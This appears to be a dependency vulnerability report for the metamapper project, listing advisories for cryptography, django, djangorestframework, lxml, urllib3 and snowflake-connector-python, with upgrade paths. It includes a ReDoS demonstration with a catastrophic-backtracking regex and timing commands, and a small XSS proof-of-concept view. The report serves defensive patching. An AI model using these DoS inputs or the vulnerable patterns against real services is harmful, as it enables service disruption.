  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the DH_check(), DH_check_ex() and EVP_PKEY_param_check() functions, which are used to check a DH key or DH parameters.

When the key or parameters that are being checked contain an excessively large modulus value (the p parameter) this may cause slowness in processing. Some checks use the supplied modulus value even if it has already been found to be too large.

The OpenSSL dhparam and pkeyparam command line applications are also vulnerable, when using the -check option.

NOTE: The OpenSSL SSL/TLS implementation is not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_generate_key(), DH_check_pub_key(), DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate() functions are used. An attacker can cause long delays and potentially a Denial of Service by supplying excessively long X9.42 DH keys or parameters obtained from an untrusted source.

Note:

This is only exploitable if the application uses these functions to generate or check an X9.42 DH key or parameters. Also, the OpenSSL pkey command line application, when using the -pubcheck option, as well as the OpenSSL genpkey command line application, are vulnerable to this issue.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

medium severity

Missing Cryptographic Step

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.5.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Missing Cryptographic Step when the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() or EVP_CipherInit_ex2() functions are used. An attacker can cause truncation or overreading of key and initialization vector (IV) lengths by altering the "keylen" or "ivlen" parameters within the OSSL_PARAM array after the key and IV have been established. This can lead to potential truncation or overruns during the initialization of some symmetric ciphers, such as RC2, RC4, RC5, CCM, GCM, and OCB. A truncation in the IV can result in non-uniqueness, which could result in loss of confidentiality for some cipher modes.

Both truncations and overruns of the key and the IV will produce incorrect results and could, in some cases, trigger a memory exception.

Remediation

Upgrade cryptography to version 41.0.5 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Timing Attack in rsa/rsa_ossl.c. An attacker can recover ciphertext with a Bleichenbacher style attack by sending a large number of trial messages (Marvin). This affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP, and RSASVE.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Arbitrary File Upload

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.19.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Arbitrary File Upload by bypassing of validation of all but the last file when uploading multiple files using a single forms.FileField or forms.ImageField.

Remediation

Upgrade django to version 3.2.19, 4.1.9, 4.2.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.16.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using internationalized URLs, due to locale parameter being interpreted as regular expression.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.1.2, 4.0.8, 3.2.16 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.23.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the NFKC normalization function in django.contrib.auth.forms.UsernameField. A potential attack can be executed via certain inputs with a very large number of Unicode characters.

Note: This vulnerability is only exploitable on Windows systems.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.23, 4.1.13, 4.2.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.25.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in django.utils.text.Truncator.words(), whose performance can be degraded when processing a malicious input involving repeated < characters.

Note:

The function is only vulnerable when html=True is set and the truncatewords_html template filter is in use.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.25, 4.2.11, 5.0.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: djangorestframework
  • Introduced through: djangorestframework@3.13.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1
    Remediation: Upgrade to djangorestframework@3.15.2.

Overview

djangorestframework is a powerful and flexible toolkit for building Web APIs.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the break_long_headers template filter due to improper input sanitization before splitting and joining with <br> tags.

PoC

# views.py
from rest_framework.views import APIView
from rest_framework.response import Response

class Index(APIView):
    def get(self, request):
        username = request.GET.get('username', '')

        response = Response('OK')
        response['Location'] = f'https://x.com/{username}'
        return response

# urls.py
from django.urls import path
urlpatterns = [ path('api/', Index.as_view()), ]

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade djangorestframework to version 3.15.2 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: lxml
  • Introduced through: lxml@4.6.5 and python3-saml@1.14.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper lxml@4.6.5
    Remediation: Upgrade to lxml@4.9.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper python3-saml@1.14.0 lxml@4.6.5
    Remediation: Upgrade to python3-saml@1.14.0.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference in the iterwalk() function (used by canonicalize) that can be triggered by malicious input.

NOTE: This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade lxml to version 4.9.1 or higher.

References

medium severity

Incorrect Permission Assignment for Critical Resource

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@4.0.0.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Incorrect Permission Assignment for Critical Resource via the ConfigManager.read_config path in config_manager.py. An attacker can modify sensitive settings stored in the configuration file if its permissions allow write access by the group or other users

Note: This is only exploitable when the stat.S_IWGRP or stat.S_IWOTH are set.

Remediation

Upgrade snowflake-connector-python to version 4.0.0 or higher.

References

medium severity

Expected Behavior Violation

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation in Cipher.update_into, which allows immutable objects (such as bytes) to be mutated, violating fundamental rules of Python. This allows programmers to misuse an API, and cannot be exploited by attacker-controlled data alone.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Incorrect Default Permissions

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@3.13.1.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Incorrect Default Permissions when using EXTERNALBROWSER or USERNAME_PASSWORD_MFA authentication methods with temporary credential caching enabled, allowing the attacker to cache the temporary credentials in a local file.

Note: This is only exploitable for Linux systems.

Remediation

Upgrade snowflake-connector-python to version 3.13.1 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@1.26.18.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: certifi@2021.10.8, elasticsearch@7.9.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 certifi@2021.10.8
